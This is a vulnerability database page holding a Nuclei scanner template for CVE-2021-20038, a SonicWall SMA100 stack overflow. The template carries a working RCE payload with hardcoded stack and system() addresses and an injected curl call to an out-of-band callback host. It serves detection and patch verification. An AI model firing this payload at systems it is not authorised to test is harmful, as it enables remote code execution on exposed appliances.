SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
| Reporter | Title | Published | Views | Family All 43 |
|---|---|---|---|---|
| SonicWall SMA 100 Series Authenticated Command Injection Exploit | 13 Jan 202200:00 | – | zdt | |
| Exploit for Out-of-bounds Write in Sonicwall Sma_200_Firmware | 8 Aug 202203:38 | – | githubexploit | |
| Exploit for Out-of-bounds Write in Sonicwall Sma_200_Firmware | 11 Jan 202202:25 | – | githubexploit | |
| Exploit for Out-of-bounds Write in Sonicwall Sma_200_Firmware | 8 Aug 202203:38 | – | githubexploit | |
| 2021 Top Routinely Exploited Vulnerabilities | 28 Apr 202212:00 | – | ics | |
| #StopRansomware: Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities | 9 Feb 202312:00 | – | ics | |
| 2022 Top Routinely Exploited Vulnerabilities | 3 Aug 202312:00 | – | ics | |
| North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs | 25 Jul 202412:00 | – | ics | |
| CVE-2021-20038 | 8 Dec 202100:00 | – | attackerkb | |
| Apache mod_cgi Code Execution | 12 Jan 202200:00 | – | bdu_fstec |
10
id: CVE-2021-20038
info:
name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
author: dwisiswant0, jbaines-r7
severity: critical
description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or crash the affected system.
remediation: |
Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability.
reference:
- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
- https://github.com/jbaines-r7/badblood
- https://github.com/Ostorlab/KEV
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20038
cwe-id: CWE-787,CWE-121
epss-score: 0.99912
epss-percentile: 0.99967
cpe: cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: sonicwall
product: sma_200_firmware
tags: cve2021,cve,overflow,rce,sonicwall,kev,vkev,vuln
variables:
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1
Host: {{Hostname}}
payloads:
prefix_addr:
- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
system_addr:
- "%08%b7%06%08" # for 10.2.1.2-24sv
- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
attack: clusterbomb
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# digest: 4a0a00473045022100e38e00cd4c9df53c54131ddb54c9f5292478e4d4f9a3542fec7c901fd40180d80220374a050366f5d997cecda524af55441dbf18d2a8979eea119aef97135448a85b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
9.1Critical risk
Vulners AI Score9.1
CVSS 27.5
CVSS 3.19.8
EPSS0.99912
SSVC